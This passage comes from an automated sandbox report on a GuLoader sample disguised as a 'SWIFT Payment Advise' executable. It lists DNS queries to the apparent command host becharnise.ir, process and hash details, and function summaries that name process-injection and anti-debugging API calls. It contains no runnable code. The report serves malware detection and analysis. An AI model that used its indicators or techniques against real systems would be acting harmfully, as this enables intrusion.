Apr 12, 2021 09:08:55.912578106 CEST	53	49247	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 12, 2021 09:07:48.514470100 CEST	192.168.2.7	8.8.8.8	0x5053	Standard query (0)	doc-0s-40-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Apr 12, 2021 09:07:50.652332067 CEST	192.168.2.7	8.8.8.8	0x39ce	Standard query (0)	becharnise.ir	A (IP address)	IN (0x0001)
Apr 12, 2021 09:08:12.613359928 CEST	192.168.2.7	8.8.8.8	0x4347	Standard query (0)	becharnise.ir	A (IP address)	IN (0x0001)
Apr 12, 2021 09:08:34.574978113 CEST	192.168.2.7	8.8.8.8	0xe771	Standard query (0)	becharnise.ir	A (IP address)	IN (0x0001)
Apr 12, 2021 09:08:55.726608992 CEST	192.168.2.7	8.8.8.8	0x5a76	Standard query (0)	becharnise.ir	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 12, 2021 09:07:48.592413902 CEST	8.8.8.8	192.168.2.7	0x5053	No error (0)	doc-0s-40-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Apr 12, 2021 09:07:48.592413902 CEST	8.8.8.8	192.168.2.7	0x5053	No error (0)	googlehosted.l.googleusercontent.com		216.58.215.225	A (IP address)	IN (0x0001)
Apr 12, 2021 09:07:50.994090080 CEST	8.8.8.8	192.168.2.7	0x39ce	No error (0)	becharnise.ir		194.5.178.163	A (IP address)	IN (0x0001)
Apr 12, 2021 09:08:12.672434092 CEST	8.8.8.8	192.168.2.7	0x4347	No error (0)	becharnise.ir		194.5.178.163	A (IP address)	IN (0x0001)
Apr 12, 2021 09:08:34.635107994 CEST	8.8.8.8	192.168.2.7	0xe771	No error (0)	becharnise.ir		194.5.178.163	A (IP address)	IN (0x0001)
Apr 12, 2021 09:08:55.789849043 CEST	8.8.8.8	192.168.2.7	0x5a76	No error (0)	becharnise.ir		194.5.178.163	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 12, 2021 09:07:48.703210115 CEST	216.58.215.225	443	192.168.2.7	49708	CN=*.googleusercontent.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Mar 16 20:32:57 CET 2021 Thu Jun 15 02:00:42 CEST 2017	Tue Jun 08 21:32:56 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
Apr 12, 2021 09:07:48.703210115 CEST	216.58.215.225	443	192.168.2.7	49708	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		37f463bf4616ecd445d4a1937da06e19

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SWIFT Payment Advise 39 430-25.exe PID: 5960 Parent PID: 5704

General

Start time:	09:06:42
Start date:	12/04/2021
Path:	C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe'
Imagebase:	0x400000
File size:	90112 bytes
MD5 hash:	758028B3F6C428890BF423F4BF61493F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: ieinstal.exe PID: 6896 Parent PID: 5960

General

Start time:	09:07:27
Start date:	12/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\ieinstal.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe'
Imagebase:	0xc70000
File size:	480256 bytes
MD5 hash:	DAD17AB737E680C47C8A44CBB95EE67E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SWIFT Payment Advise 39 430-25.exe PID: 5960 Parent PID: 5704 SWIFT Payment Advise 39 430-25.exeCOMMON

Executed Functions

Function 02C1073E, Relevance: 14.6, APIs: 4, Strings: 4, Instructions: 636nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(02C107CD,?,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000,00000000,?,00000000), ref: 02C1074F
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000), ref: 02C10938

Strings

1.!T, xrefs: 02C108C3
indir=, xrefs: 02C14ADD
Z^#, xrefs: 02C13273
{DW, xrefs: 02C13AB8

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: EnumInformationThreadWindows
String ID: 1.!T$Z^#$indir=${DW
API String ID: 1954852945-2844607090
Opcode ID: 6e2fce342822e8d9ffcef0174571e58beeb774cded9fb499c74aeb1375b9a87a
Instruction ID: d4914bed5b5167b0aad7407eb204f656134cc3f4398114537e070f8bf546a05b
Opcode Fuzzy Hash: 6e2fce342822e8d9ffcef0174571e58beeb774cded9fb499c74aeb1375b9a87a
Instruction Fuzzy Hash: 00129971740309AEFF205E64CD47BEA3B67AF83B64F604228EE449B1C5D7B59885EB40

Uniqueness

Uniqueness Score: -1.00%

Function 02C10A0B, Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 730COMMON

Download Yara Rule

Strings

Z^#, xrefs: 02C13273
{DW, xrefs: 02C13AB8

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: Z^#${DW
API String ID: 1029625771-479183013
Opcode ID: 945fa20affcd5453d8edfb5bca909a0145fa8164302ca05dfe112a526e31d1d4
Instruction ID: 1a11c87e1c9dc6d88a057d162b1f2e95f51235118f0f0f8ad7f9a75867aa080e
Opcode Fuzzy Hash: 945fa20affcd5453d8edfb5bca909a0145fa8164302ca05dfe112a526e31d1d4
Instruction Fuzzy Hash: E1226B71B40306AEFF241E648D97BEA2767AF83754F644228ED89971C0D7B9C4C6EB01

Uniqueness

Uniqueness Score: -1.00%

Function 02C17589, Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 514COMMON

Download Yara Rule

Strings

1.!T, xrefs: 02C108C3
indir=, xrefs: 02C14ADD

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID: 1.!T$indir=
API String ID: 3389902171-322514976
Opcode ID: 5af03e5b6510ddf1b73278da839300d24cfab15b3b32a1edd8e09718e1f0f4d1
Instruction ID: f7333c1709c2c452fe8f33fc231ffefe1ae78a35d2d4dca6cb9a157fb2a15c16
Opcode Fuzzy Hash: 5af03e5b6510ddf1b73278da839300d24cfab15b3b32a1edd8e09718e1f0f4d1
Instruction Fuzzy Hash: 85F1C1306443429EEF209F7489D27A6BBD39F87370F648259DD928B2D6D331C589EB02

Uniqueness

Uniqueness Score: -1.00%

Function 02C15CF4, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 225nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000), ref: 02C10938

Strings

1.!T, xrefs: 02C108C3
indir=, xrefs: 02C14ADD
Z^#, xrefs: 02C13273

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: InformationThread
String ID: 1.!T$Z^#$indir=
API String ID: 4046476035-2623483244
Opcode ID: fa627428983ba1ca869b405d10436bad930dbc235b202cf3aa26a3ca9af9fe11
Instruction ID: bad1940ed409fbdc411273a29f013a8f1e74006491137a5f64941ad06707d025
Opcode Fuzzy Hash: fa627428983ba1ca869b405d10436bad930dbc235b202cf3aa26a3ca9af9fe11
Instruction Fuzzy Hash: 795101316843056EFF249EB08F837D63BA68F47B70F600259ED524B2D6E7A59940FE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C10B3E, Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 593COMMON

Download Yara Rule

APIs

Part of subcall function 02C1672C: LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 02C139D4

Strings

Z^#, xrefs: 02C13273

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID: Z^#
API String ID: 3349790660-1564479891
Opcode ID: 91e443926eac649ad0f06db076407c2ddcc4b54feb32f2c0f22ac07d6aac8c2c
Instruction ID: f00fb52e203a8baffd2e7768ab499640259f00f2e5300aded08bf24df57aa980
Opcode Fuzzy Hash: 91e443926eac649ad0f06db076407c2ddcc4b54feb32f2c0f22ac07d6aac8c2c
Instruction Fuzzy Hash: C8029D71A40306AEFF241D24CD97BE92767AF83754F644228ED85971C0D7BAC4CAEB41

Uniqueness

Uniqueness Score: -1.00%

Function 02C155D5, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 214nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02C15675: CreateFileA.KERNELBASE(02C106A6,80000000,00000001,00000000,00000003,00000000,00000000,02C154F7,02C1589C,02C106A6), ref: 02C157E7

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000), ref: 02C10938

Strings

1.!T, xrefs: 02C108C3
indir=, xrefs: 02C14ADD

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: CreateFileInformationThread
String ID: 1.!T$indir=
API String ID: 2580995559-322514976
Opcode ID: 331cc78eb7312434206ef8549d1754a8f511ad7c3ca462091064cd439746b271
Instruction ID: 070045f3d525a357aa7a134311644435ff052e954b5eccfb9716b788af32e7d5
Opcode Fuzzy Hash: 331cc78eb7312434206ef8549d1754a8f511ad7c3ca462091064cd439746b271
Instruction Fuzzy Hash: 0851DC312803056DFF249EB04A837DA3BA78F47B70F700259EE529B2D2E7619985FD41

Uniqueness

Uniqueness Score: -1.00%

Function 02C1082A, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02C1672C: LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000), ref: 02C10938

Strings

1.!T, xrefs: 02C108C3
indir=, xrefs: 02C14ADD

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$indir=
API String ID: 543350213-322514976
Opcode ID: b80f1e0fc10a64b2b3a287542d158a6b9df12dfcda8a1cdac2bb7c37d1c1e8d1
Instruction ID: 27e2142ee9f4a52e7b905e51e1097ab79b8f7b1eca2c95294ae6e09e08d637fc
Opcode Fuzzy Hash: b80f1e0fc10a64b2b3a287542d158a6b9df12dfcda8a1cdac2bb7c37d1c1e8d1
Instruction Fuzzy Hash: 8B5177321943042AFB189EA14B437963FAAEF07B30F71021ADE525F1D7EBA16944FD45

Uniqueness

Uniqueness Score: -1.00%

Function 02C107ED, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 191nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02C1672C: LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000), ref: 02C10938

Strings

1.!T, xrefs: 02C108C3
indir=, xrefs: 02C14ADD

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$indir=
API String ID: 543350213-322514976
Opcode ID: 33e39e36eb638124e5ecea6762ec29e4f7e541b2fbb23dc1ba05bcdbaf5f392b
Instruction ID: 3b05cad3009592f15ad266b139d989281c6881150b08df81cbd99c01499a0cc4
Opcode Fuzzy Hash: 33e39e36eb638124e5ecea6762ec29e4f7e541b2fbb23dc1ba05bcdbaf5f392b
Instruction Fuzzy Hash: F551CA316803096EFF149EB04B433DA3BA69F47B70F300269EE925B1D6E761A980FD40

Uniqueness

Uniqueness Score: -1.00%

Function 02C12F8C, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 335librarynativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502
LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

Strings

Z^#, xrefs: 02C13273

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID: Z^#
API String ID: 3569954152-1564479891
Opcode ID: 9b57782fe5a9057fa9d37b7abc0bb3266061d721b4ecd839b8078ccf394e75fa
Instruction ID: b3062472a61e1c67d5ca40d5f909255f200850a360e6a1a2a0b67eb488cb559c
Opcode Fuzzy Hash: 9b57782fe5a9057fa9d37b7abc0bb3266061d721b4ecd839b8078ccf394e75fa
Instruction Fuzzy Hash: A4B11771640349AEFB240E20CE47BD97B27FF43B54F504228EE455B2C5D7BA9889EB44

Uniqueness

Uniqueness Score: -1.00%

Function 02C13032, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 298librarynativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502
LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

Strings

Z^#, xrefs: 02C13273

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID: Z^#
API String ID: 3569954152-1564479891
Opcode ID: 6abcbb089a7f0bcb08eda78db0b5353d4fa75f405da807a109ff339f1eea0f93
Instruction ID: f77b6b39e867b3c70e20e1c9e6a628105f0e2d2e15a309cabd4cabf59f561740
Opcode Fuzzy Hash: 6abcbb089a7f0bcb08eda78db0b5353d4fa75f405da807a109ff339f1eea0f93
Instruction Fuzzy Hash: 24913871640349AEFB240E20CE47BD93B27FF43B14F504228EE459B284D7BAD989EB40

Uniqueness

Uniqueness Score: -1.00%

Function 02C1315E, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 240librarynativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502
LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

Strings

Z^#, xrefs: 02C13273

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID: Z^#
API String ID: 3569954152-1564479891
Opcode ID: b43915ed246ffbedcca73ac0a5c6b962bb8da99277b1151d63ae2cb89ec99fb0
Instruction ID: 21df7c1a023f64cfd9b3ff70745ad5376447562babce59d6bc4ec56487907c90
Opcode Fuzzy Hash: b43915ed246ffbedcca73ac0a5c6b962bb8da99277b1151d63ae2cb89ec99fb0
Instruction Fuzzy Hash: F6711771640349AFFB244E20CE47BE93B67FF46B14F504228EE459B2D0D7B99988EB40

Uniqueness

Uniqueness Score: -1.00%

Function 02C13112, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 233librarynativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502
LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

Strings

Z^#, xrefs: 02C13273

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoadMemoryVirtualWrite
String ID: Z^#
API String ID: 3569954152-1564479891
Opcode ID: 8a5b4107beea333b893735a6ad3cffe57e45012d9e0011c61378e4eb95260fa7
Instruction ID: 93e13f9305846b06ef6dcf123e19e0dd98b5e0005b46024e589d7c0b62f690cc
Opcode Fuzzy Hash: 8a5b4107beea333b893735a6ad3cffe57e45012d9e0011c61378e4eb95260fa7
Instruction Fuzzy Hash: DC712871640349AFFB214E20CD56BE97B67FF46744F548228EE489B2C0C7B998C9EB40

Uniqueness

Uniqueness Score: -1.00%

Function 02C13247, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 179nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502

Strings

Z^#, xrefs: 02C13273

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID: Z^#
API String ID: 3527976591-1564479891
Opcode ID: 3f325a752f3becb05db53144fb4f42ceda99587dfec476c1bbb339a37f14e93b
Instruction ID: 1c15ca50ee732967b1f437cce459904afea2b287b3e67105cfebacc20f7d5b8f
Opcode Fuzzy Hash: 3f325a752f3becb05db53144fb4f42ceda99587dfec476c1bbb339a37f14e93b
Instruction Fuzzy Hash: 2E510671740289AFFB355E20CD56BE93A23FF42744F544128FE889A1D0C7B999C8AB40

Uniqueness

Uniqueness Score: -1.00%

Function 02C108EE, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000), ref: 02C10938

Part of subcall function 02C1672C: LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

Strings

indir=, xrefs: 02C14ADD

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: indir=
API String ID: 543350213-236515715
Opcode ID: 019e7cc0c83c3a83b3c31eea682ad9721bbda188bf85da55ba08ae4409e73cb8
Instruction ID: a2c78576c21942dcdb584d4b38a22b399a8bf52d37746da51633717355eda7ca
Opcode Fuzzy Hash: 019e7cc0c83c3a83b3c31eea682ad9721bbda188bf85da55ba08ae4409e73cb8
Instruction Fuzzy Hash: 6341143609835469FB189EA14B433453FA9EF07B30F71025ACE236B1E7EA657908FD49

Uniqueness

Uniqueness Score: -1.00%

Function 02C13F01, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 124libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(02C1143C,00000000,00000000,?,?,?,?,00000000,00000000,00000050,0000037F,?,02C142EB,00000000,000000FF,00000007), ref: 02C149D3

Strings

indir=, xrefs: 02C14ADD

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: InitializeThunk
String ID: indir=
API String ID: 2994545307-236515715
Opcode ID: 8411c87159e0e7c49797b833212eec61468cde7c95ebde3ce5a1c9f1a1ece44e
Instruction ID: 65a0b6c806f3775b16ed70881215d7cfa4bf45dff73111dc6bdce9f3d764045b
Opcode Fuzzy Hash: 8411c87159e0e7c49797b833212eec61468cde7c95ebde3ce5a1c9f1a1ece44e
Instruction Fuzzy Hash: 9831EB374982902DEA1C9EA247036097F79EF03B20726514EC9136F1A7DE257A08BE49

Uniqueness

Uniqueness Score: -1.00%

Function 02C18521, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Strings

\, xrefs: 02C18522

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID: \
API String ID: 1591575202-2967466578
Opcode ID: 1e3db1a0196b3fd0d5ca0c3277a2727c99ae7e07054f307a32ff06a0b7eb0261
Instruction ID: 92502e59e9717d03ffbe3fa26d074326caf2e64ba0a9eb7a9b1555e4e524c618
Opcode Fuzzy Hash: 1e3db1a0196b3fd0d5ca0c3277a2727c99ae7e07054f307a32ff06a0b7eb0261
Instruction Fuzzy Hash: FE21E124A086058EFB249E28C59ABE63362AFA37B8F895758CC51470F0C3348185EB81

Uniqueness

Uniqueness Score: -1.00%

Function 02C132C3, Relevance: 1.7, APIs: 1, Instructions: 182nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: e89298d6ae762e5ce7e0075944323378ec36c9896856480682f8c06bfa008158
Instruction ID: 7017a32d5ac8207fc5fe2e73d31e41211f5858ca5ca964c22d91b43f22f2b848
Opcode Fuzzy Hash: e89298d6ae762e5ce7e0075944323378ec36c9896856480682f8c06bfa008158
Instruction Fuzzy Hash: 8F516A726402486EFF280E10CE47BE93A27FF46B14F644228EE455B1D1D7B5A988FF40

Uniqueness

Uniqueness Score: -1.00%

Function 02C181D6, Relevance: 1.7, APIs: 1, Instructions: 167nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 7cb02688761dbc874fbb7fbb5c8aa5a9efbd60494d2369ed77d04c7ceadfafed
Instruction ID: 4c9c5716867ffee4652289c7d79cc5a77803620161a4fc803837e45cfecb574b
Opcode Fuzzy Hash: 7cb02688761dbc874fbb7fbb5c8aa5a9efbd60494d2369ed77d04c7ceadfafed
Instruction Fuzzy Hash: 6F41132250C6049DFF188E628B537953BA5EF03B30FA5031ECD135B1E6DB35A944EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C1333F, Relevance: 1.7, APIs: 1, Instructions: 158nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: bc3e7e16eb5989d1401459b7e8288075ee089ca226fb055342766303f620c8c2
Instruction ID: 509315b02e1076c1657538c5350deecf706e4961318269b43733e3461faa8f90
Opcode Fuzzy Hash: bc3e7e16eb5989d1401459b7e8288075ee089ca226fb055342766303f620c8c2
Instruction Fuzzy Hash: 8E415B726402486FFF291E10CE477E93A27FF46B14F504268ED455B1A1DB769984BF40

Uniqueness

Uniqueness Score: -1.00%

Function 02C180B3, Relevance: 1.7, APIs: 1, Instructions: 151nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: dd3b41a86c5fa6a8119baadc3e72ff9f1717f033d27d0eaab3f34a7783baef7c
Instruction ID: 148e2913991194a13e5e51045c716563ce29cfa04b36966cf4bb48f85d45cd21
Opcode Fuzzy Hash: dd3b41a86c5fa6a8119baadc3e72ff9f1717f033d27d0eaab3f34a7783baef7c
Instruction Fuzzy Hash: 1F41592260C605DDFF2C8E22CA977A936A2EF53760FA5031ECD035B1E1D7355584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C180FD, Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0e93471e08df2b63a088518e4c6214b0df14ad062e02c47dc3b53635f0a3f3
Instruction ID: 0b30ae593ddf489b58bbc6e8a0f160eeb6a8cc0e490baf1f875426b17f1c3db7
Opcode Fuzzy Hash: ba0e93471e08df2b63a088518e4c6214b0df14ad062e02c47dc3b53635f0a3f3
Instruction Fuzzy Hash: 9D41592260C605DDFF288E22CA977A936A2EF53760FA5032ECD034B1E5D7359584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C18151, Relevance: 1.6, APIs: 1, Instructions: 144nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: e27ef283ee2c19e560055e826079a716a815c502d11b7da93c3c18fab36e4c24
Instruction ID: 31313aa13980f8c542bda90b8b704418b2e5856f85c2aa729be25abb2fd4d48d
Opcode Fuzzy Hash: e27ef283ee2c19e560055e826079a716a815c502d11b7da93c3c18fab36e4c24
Instruction Fuzzy Hash: 4A41492260C605DDFF289E22CA977A536A2EF53B70FA9031ECD034B1E2D7359584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C18195, Relevance: 1.6, APIs: 1, Instructions: 138nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 24c99e1d41b6a7011c17b1614bd2f2a2fb9c4a6173aa15c5e6c153326d137977
Instruction ID: 710bc6ae2aec78ac7507d42388a099f8058a00299f0ca3e12b330eb11befccf4
Opcode Fuzzy Hash: 24c99e1d41b6a7011c17b1614bd2f2a2fb9c4a6173aa15c5e6c153326d137977
Instruction Fuzzy Hash: BD41472160C605DEFF289E22CA977A536A2EF53760FA9031ECD034B1E1D7359984EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C133F8, Relevance: 1.6, APIs: 1, Instructions: 131nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 712b866658770708ae4f00c9a1c1c7ec70a7af70993a8646506699bd2f4f9185
Instruction ID: 046eb59a5018ddf4010a38e67e474b1013f338a8171e0d60a89af99bc860498e
Opcode Fuzzy Hash: 712b866658770708ae4f00c9a1c1c7ec70a7af70993a8646506699bd2f4f9185
Instruction Fuzzy Hash: C841F331548284AFEB1A5E20CE427D93F76FF07710F1502A9ED459B166DB79AC48EF40

Uniqueness

Uniqueness Score: -1.00%

Function 02C1809C, Relevance: 1.6, APIs: 1, Instructions: 131nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 1067cded6e643664d67198b7320c707370a199228e536ea61763dcb154715459
Instruction ID: 70c5a61f03b0ea18d2b4be36c8e9f1e509126afa3d0c3fcf998e1f376be70716
